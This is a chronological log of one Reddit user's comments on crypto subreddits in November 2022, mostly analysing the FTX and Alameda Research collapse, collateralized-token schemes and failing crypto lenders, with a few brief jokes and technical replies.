Commented by /u/Maleficent_Plankton in /r/ethfinance on November 17, 2022 22:01:31
/r/ethfinance/comments/yxi8om/daily_general_discussion_november_17_2022/iwswe2p/

I like to look blockchain Explorers. Have you ever tried using a Solana explorer (either the official one or Solanabeach)? They are absolute horrible UI experiences and almost unusable. Each one takes 10s of seconds to load. They give next to zero details about the transactions. Many of the other links on the pages take a minute to load because they're processing so many wasted vote transactions at a time. You could never navigate from address to address to investigate what's going on. This is what happens when there's too much going on in a blockchain.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 17, 2022 21:31:02
/r/ethfinance/comments/yxi8om/daily_general_discussion_november_17_2022/iwsuxaf/

Ah, Nintendo's Pokemon strategy.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 17, 2022 21:19:42
/r/funny/comments/yxzki6/finally_pockets_for_women/iwrzvgg/

Not too different from Cindy Aurum's costume

Commented by /u/Maleficent_Plankton in /r/funny on November 17, 2022 17:21:43
/r/CryptoReality/comments/yxsw7k/what_happened_at_alameda_research_a_detailed_and/iwrrfga/

That [story from the Hong Kong employee/insider](https://nitter.net/libevm/status/1592383746551910400) who watched as FTX imploded mentioned is such a good read.

Commented by /u/Maleficent_Plankton in /r/CryptoReality on November 17, 2022 16:23:16
/r/ethfinance/comments/yxi8om/daily_general_discussion_november_17_2022/iwroaw0/

Another good read: [Story from a Hong Kong employee/insider](https://twitter.com/libevm/status/1592383746551910400) who watched as FTX imploded. It's only a 5-minute read. **Summary**: • Office floor was 2/3 FTX employees and 1/3 Alameda employees. Yeah, they mixed. • Employees were working around the clock selling off liquid assets to buy FTT and prop up its price • Employees were also handling user withdrawals from FTX • It was a long day, and this employee went home at 4am • The next day, most of the FTX employees weren't the office. If they were, they weren't working. • All hands meeting: Caroline reveals that FTX started spending lots of money, creating shell monies, and investing in various illiquid assets that no one else knew about. This was paid by Alameda loaning FTX money in exchange for FTT collateral. Uh oh. • When Luna crashed, 3AC defaulted, causing a lot of loaners to go bankrupt. Many loans were recalled, and Alameda lost a lot from giving out loans to firms that defaulted. FTX bails out some of them. (MPlankton: We now know this is not due to altruism but to protecting forced selling of FTT.) SBF chose to send user money from FTX to Alameda instead of letting Alameda get liquidated. That's when the ticking time bomb started. • At this point, most employees had accepted that the assets they had in FTX were lost. ------------------ A mega-thread and information dump from another one of SBF's long-time communities, the Effective Altruism community. Contains all collected info up until today: https://forum.effectivealtruism.org/posts/f9rFsbsd4rGLQfpQg/sadly-ftx

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 17, 2022 16:02:30
/r/ethereum/comments/yxugta/question_can_a_smart_contract_execute_a_function/iwr8xxd/

Thanks. I got call and delegatecall mixed up.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 17, 2022 14:21:16
/r/ethereum/comments/yxugta/question_can_a_smart_contract_execute_a_function/iwqx2eh/

You won't be able to change msg.sender. It'll always be the EOA account address that calls the first contact (Contract A). What's the purpose of this maneuver? If you have the private key of Wallet B, why can't you use Wallet B?

Commented by /u/Maleficent_Plankton in /r/ethereum on November 17, 2022 13:03:14
/r/news/comments/ywzof9/ftxs_bankmanfried_celebrity_promoters_sued_in_us/iwqgzcb/

Sure, but it does matter for definitions of a Ponzi scheme. I could create a shitcoin with 1000% supply inflation, providing 1000% interest, and it wouldn't be a Ponzi scheme. The value would fall to zero, but it would keep working as designed.

Commented by /u/Maleficent_Plankton in /r/news on November 17, 2022 11:17:43
/r/news/comments/ywzof9/ftxs_bankmanfried_celebrity_promoters_sued_in_us/iwq6g3y/

High interest does not make a Ponzi scheme. It was a Ponzi scheme, but for different reasons. Due to their collateral, they needed to keep the value of these coins (FTT, APT, SRM) above a certain price. Otherwise the value would fall enough to trigger a liquidation of their loans. This is why Caroline Ellison offered to buy back FTT at $22. Due to the collateral, this scheme was eventually going to fail if they could successful make money with the loan elsewhere. **In general, there are 2 requirements for a traditional Ponzi scheme:** * Needs new funds to replace old funds * Booking faked to prevent others from discovering the scheme. SBF literally had a back door into their system to hide transfers to Alameda Research that no one else could see. **This met both those requirements.**

Commented by /u/Maleficent_Plankton in /r/news on November 17, 2022 10:05:44
/r/bestof/comments/yx48ci/ufausterion18_explains_how_ftx_and_alameda/iwq5oke/

In this case, I disagree that this isn't a ponzi. Due to their collateral, they needed to keep the value of these coins (FTT, APT, SRM) above a certain price. Otherwise the value would fall enough to trigger a liquidation of their loans. This is why Caroline Ellison offered to buy back FTT at $22. Due to the collateral, this scheme was eventually going to fail if they could successful make money with the loan elsewhere.

Commented by /u/Maleficent_Plankton in /r/bestof on November 17, 2022 10:00:10
/r/CryptoCurrency/comments/yxgqqn/serious_unchained_podcast_a_panel_of_crypto/iwq4gg7/

I worded that poorly. I meant they were loaning to the pumped value of the tokens before early stakers would begin selling. (Gonna rewrite that.)

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 17, 2022 09:51:18
/r/ethfinance/comments/yxi8om/daily_general_discussion_november_17_2022/iwoykfd/

In [**Unchained Podcast's latest episode**](https://www.youtube.com/watch?v=ghnPRkREBRM), a panel of crypto insiders/experts break how SBF Fraud's machine worked and why no one caught it months before. It was an incredibly-dense 2-hour panel, and I learned more from it than from the dozens of other recent news reports combined. This is likely the best insider details you'll get before the Netflix documentary. Here's the 5-minute summary of the most important points: ####**Key points**: **SBF had a backdoor into FTX's book-keeping system** (11:00-12:00): He could execute orders/transfers that would not alerts auditors or internal employees. [Secondary source](https://fortune.com/2022/11/16/sbf-dangerous-decision-making-philosophy-brought-down-ftx-investing-leadership-behavior-gleb-tsipursky/). He used this to secretly transfer funds between Alameda and FTX. **Breaking down SBF's pump-and-collateralize strategy that he used over 30 times** (15:30-21:30) * **The traditional pump-dump strategy** for ICOs was to create a coin, pump it, and then dump it. The downside is that you could only do this once, and if you're caught, you get into massive trouble. * **SBF's strategy** was to create a coin, pump it, and then collateralize it. He did this ~35 times * These shitcoins (e.g. FTT, SRM, APT, and 30 others you've never heard of) were on multi-year hyperinflationary schedule with an extremely small liquidity at the beginning. They were designed so that staking rewards were massive in the beginning, leading to many early investors rushing to get into them. This lead to a giant pump. * They were taking loans based on the value of these tokens early on. The tokens were meant to lose value over time, but not before they took the "overcollateralized" loans. * All CeFi companies were giving loans based on the **pumped-up value** of these FTX shitcoins. It was similar to the subprime loan situation, but worse. With subprime loans, both the lender and the borrower lose during default. With shitcoin-collateralized loans, only the lender would lose out. * For CeFi companies, there were only a few originating customers borrowing loans: mainly Alameda and 3AC. When 3AC went down, the CeFi companies could only turn to Alameda Research. And that's why they stuck with them. * **CeFi companies misled their retail customers** about their collateralized loans because the value of their collateral from FTX/Alameda kept going down over time. It was against their interest to liquidate Alameda or regularly adjust their loan-to-value as should've been doing because they would lose their only borrowing customer. Without Alameda, retail customers would get no interest and would leave. **Why the scheme failed in the long run** (21:30): Due to collateral, they needed to keep the value of their shitcoins and FTT up above a certain value or be liquidated. For FTT, this was around $22. When no one wanted to buy FTT anymore, FTX/Alameda had to buy it themselves at a loss. We know this because CEO Caroline Ellison Tweeted this offer, and because they kept FTT right above this critical level for half a year. Otherwise, loan liquidations would start, and the scheme would collapse like a house of cards. (The podcast doesn't mention it here, but that made SBF's model a Ponzi scheme. It could not run forever.) **Alameda's insider connections with FTX** (23:00-25:00): Alameda was buying up FTX shitcoins before they were listed on FTX. They had insider knowledge about supply circulation and manipulate it together. Projects had to partner with Alameda in order to be listed on FTX. **FTX did not have a CFO or a board.** (26:45-30:00): They paid their employees poorly and churned through employees. It was controlled by an inner circle of 4 core members (in a polyamorous relationship) at their retreat in the Bahamas. There was massive divided between what the inner circle knew and what the rest of the employees knew. **VCs that invested in FTX ignored basic auditing and failed at risk management** (35:30-38:00): Many giant traditional VC investors (e.g. Blackrock, Sequoia, Coinbase Co-Founder's Paradigm) in FTX never required financial basics with FTX. One of the VCs that did due diligence, Chamath Palihapitiya of Social Capital, asked for FTX to get auditors from the big 4 and board members, and SBF told him to fuck off. **Hasseb of Dragonfly reveals his own story** (37:45-39:00): about how Dragonfly walked away from a deal with SBF back when he was head of Alameda because they Sam was shady because he kept changing the deal. SBF avoided Dragonfly afterwards. **Discussion about SBF's combined system as a Ponzi Scheme** (59:45 - 101:00:30): If Alameda and FTX were run completely separately, it wouldn't have been a Ponzi. But they worked together to manipulate the price of FTT and had to keep it above a certain value for as long as they could to remain stable. They used FTT as collateral to borrow more. Once the price of FTT fell below that level, loans liquidated and it all collapsed like a house of cards. **One reason for lack of auditing** (105:00:00 - 106:00:00): FTX grew during the pandemic. VCs and auditors could not do full audits by visiting offices. It was all over online meetings. ----------------- I know there are some industry experts and insiders who frequently visit **ethfinance**. I'd love to hear your thoughts too.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 17, 2022 01:45:28
/r/ethfinance/comments/ywlghu/daily_general_discussion_november_16_2022/iwosdlm/

Those were super interesting chat conversations, every section of them.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 17, 2022 00:32:38
/r/ethfinance/comments/ywlghu/daily_general_discussion_november_16_2022/iwoqg2f/

tricky_troll's going to have a field day with the Daily Doots

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 17, 2022 00:12:29
/r/CryptoCurrency/comments/yxg2gv/how_the_actual_fuck_do_crypto_lenders_go_bankrupt/iwopqs4/

Correct. Lack of interest over time and supply inflation. SBF could take CeFi loans to keep them afloat for awhile.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 17, 2022 00:05:20
/r/CryptoCurrency/comments/yxg2gv/how_the_actual_fuck_do_crypto_lenders_go_bankrupt/iwok5j4/

This is covered in "The Chopping Block: Why Lenders Didn't Liquidate Alameda When It Was Underwater - Ep. 421" ----- **Here's how SBF's strategy that he used over 30 times worked:** * The traditional pump-dump strategy for ICOs was to create a coin, pump it, and then dump it. The downside is that you could only do this once, and if you're caught, you get into massive trouble. * SBF's strategy was to create a coin, pump it, and then collateralize it. He did this ~35 times * These coins (FTT, SRM, and APT) were on multi-year hyperinflationary schedule with an extremely small liquidity at the beginning. They were designed so that staking rewards were massive in the beginning, leading to many early investors rushing to get into them. This lead to a giant pump. * They were taking loans based on the value of these tokens early on before supply inflation. The tokens were meant to lose value over time. * All CeFi companies were giving loans based on the value of these pumped shitcoins. It was similar to the subprime loan situation, but worse. With subprime loans, both the lender and the borrower lose during default. With shitcoin-collateralized loans, only the lender would lose out. * For CeFi companies, there were only a few originating customers borrowing loans: mainly Alameda and 3AC. When 3AC went down, the CeFi companies could only turn to Alameda Research. And that's why they stuck with them. * CeFi companies misled their retail customers about their collateralized loans because the value of their collateral from FTX/Alameda kept going down over time. If they liquidated Alameda by regularly adjusting their loan-to-value as should've been doing, they would lose their only borrowing customer. Without their borrowing customer, retail customers would get no interest and would leave. **Why the scheme failed in the long run**: Due to collateral, they needed to keep the value of their shitcoins and FTT up above a certain value. For FTT, this was $22. When no one wanted to buy FTT anymore, FTX/Alameda had to buy it themselves at a loss. Otherwise, it would collapse like a house of cards. The podcast doesn't mention it here, but that made SBF's model a Ponzi scheme. It could not run forever.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 23:11:39
/r/ethfinance/comments/ywlghu/daily_general_discussion_november_16_2022/iwnp2xp/

They were all borrowing fom each other. FTX created its own coin, pumped it, had Alameda use it as collateral to borrow crypto from the CeFi companies. In the end, FTT was actually worth nothing, so the house of cards came tumbling down.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 16, 2022 19:00:58
/r/CryptoCurrency/comments/yx7njc/is_usdc_not_usdt_the_real_stablecoin_risk/iwnasqq/

There was 5x that much USDT on FTX. This is a nothingburger.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 17:16:06
/r/CryptoCurrency/comments/yx7njc/is_usdc_not_usdt_the_real_stablecoin_risk/iwnal17/

Only $10M? You know there was 5x that much USDT on FTX? https://cointelegraph.com/news/report-tether-freezes-46m-of-ftx-s-usdt-on-tron-blockchain-setting-new-precedent

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 17:14:36
/r/funny/comments/ywry2j/oc_homonyms/iwml6yw/

And a camel's toe

Commented by /u/Maleficent_Plankton in /r/funny on November 16, 2022 14:28:05
/r/CryptoCurrency/comments/ywt9ld/gemini_earn_halts_withdrawals_as_ftx_contagion/iwmgygk/

I'm mainly on DeFi these days. Coinbase, Binance, and Kraken are my remaining CEX accounts, but I don't keep much on them. Just enough for fiat onboarding/offboarding (and testing). I also pulled out of Crypto_com and Nexo a long time ago. No one should be staying on those.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 14:00:20
/r/ethfinance/comments/ywlghu/daily_general_discussion_november_16_2022/iwm7et4/

I did get a small amount caught up in QuadrigaCX years ago, so that was my wake-up call.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 16, 2022 12:57:15
/r/ethfinance/comments/ywlghu/daily_general_discussion_november_16_2022/iwm6yk7/

I research fees, spread, withdrawals and deposits, security, UI, and features for another community group. Unfortunately due to KYC requirements on many of these, I have to use my account for them.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 16, 2022 12:54:15
/r/ethfinance/comments/ywlghu/daily_general_discussion_november_16_2022/iwm00q8/

I've had a lot of close calls this year alone. I basically pulled out whenever I saw major red flags. * Terra UST: Exited when the initial news hit and UST started depegging just a little. Luckily, I wasn't stuck on Anchor. * Celsius: Exited when they shut down new deposits * Voyager: Exited when BlockFi shut down new deposits * BlockFi: Withdrew most when it shut down new deposits. Fully-exited when Celsius failed * Hodlnaut: Exited when Celsius failed * FTX US: Exited months before. I hated their exchange's UI. * Gemini (earn): Exited a month before. Also withdrew from Gemini (exchange) a couple days days ago Most of these were research accounts, so I didn't have much in them anyways. **PSA**: I also pulled out of CDC (their platform absolutely sucks, why is anyone still using them?) and Nexo a long time ago. Researched but never got into USDD despite their 100%+ interest with governance bonus.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 16, 2022 12:07:34
/r/Buttcoin/comments/yw9lo0/directed_by_martin_scorsese/iwlysy8/

Maybe as vdick Vitalik. Realistically, I'd root for Rami Malek as Vitalik.

Commented by /u/Maleficent_Plankton in /r/Buttcoin on November 16, 2022 11:59:18
/r/ethfinance/comments/ywlghu/daily_general_discussion_november_16_2022/iwly3gq/

It's very interesting that they've decided to go full open source (with fully-permissive MIT licenses) while all the other zK L2 projects are guarding their code closely.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 16, 2022 11:54:37
/r/CryptoCurrency/comments/ywvymn/house_financial_services_committee_to_hold/iwlvjil/

That'll worthwhile if SBF actually shows up.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 11:37:23
/r/CryptoCurrency/comments/ywvtfs/metamask_launches_bridge_aggregator_to_move/iwltxme/

MetaMask says that the bridges the firm is integrating for the solution’s initial launch consisting of: * Polygon Bridge - canonical * Connext NXTP - atomic swap * Hop Exchange - optimistic (uses canonical L2 bridges) * Celer cBridge - external validator / optimistic hybrid I wouldn't be excited for Moons and RCP just yet. Connext looks fast, but it doesn't currently have liquidity for Moons or RCP. Hop and Celer currently don't support Arbitrum Nova.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 11:26:25
/r/CryptoCurrency/comments/yw2iii/an_analysis_of_chainlink_proofofreserves_and_why/iwlsq0d/

Thanks for this. I can see your reasoning. At some point, the complexity for verifying off-chain balances gets so great that we need regulation and professional auditing firms. This would be specifically for centralized exchanges, not DeFi. There's only so much that's revealed on-chain, and we can't always rely on customers/lenders to check their accounts regularly.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 11:18:14
/r/CryptoCurrency/comments/ywmbt9/sbf_has_been_posting_absolute_nonsense_on_his/iwlp0ll/

All his recent tweets combined remind me of a dying AI computer.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 10:53:05
/r/CryptoCurrency/comments/ywowfe/bitkeep_x_moons_ama/iwlohsf/

> 0 gas fee, trade instantly on-chain without gas fee Is that for all transactions? Or do you have meta-transactions enabled?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 10:49:33
/r/CryptoCurrency/comments/ywstjk/genesis_suspends_withdrawals_originations_in/iwlkzwy/

That's for Gemini, and it's only for their exchange side. Gemini Earn side already halted withdrawals. This will be quite interesting to see if the New York BitLicense and regulations are good enough to prevent a withdrawal halt from the exchange side.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 10:25:13
/r/CryptoCurrency/comments/ywt9ld/gemini_earn_halts_withdrawals_as_ftx_contagion/iwljrnh/

Same, though I pulled out from the Earn side months ago. It was actually one of fastest and cheapest withdrawals among all the platforms I've used. I've had many close calls. Gotta spot the red flags and be risk-averse. * QuadrigaCX: That was my first wake up call for exchange failures (besides Mt. Gox, but that was so long ago) * Terra UST: Exited when the initial news hit and UST started depegging just a little. * Celsius: Exited when they shut down new deposits * Voyager: Exited when BlockFi shut down new deposits * BlockFi: Withdrew most when it shut down new deposits. Fully-exited when Celsius failed * Hodlnaut: Exited when Celsius failed * FTX: Exited months before * Gemini (earn): Exited a month before. Also withdrew from Gemini (exchange) a couple days days ago

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 10:16:35
/r/CryptoCurrency/comments/ywt9ld/gemini_earn_halts_withdrawals_as_ftx_contagion/iwliopa/

I think this will be a good test of contagion within the same company. How well can a company under New York's BitLicense regulation split its company's lending and exchange platforms? My main criteria for success is that if Gemini goes bankrupt due to non-profitability, can all the non-earn funds still be withdrawn 1:1.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 16, 2022 10:08:51
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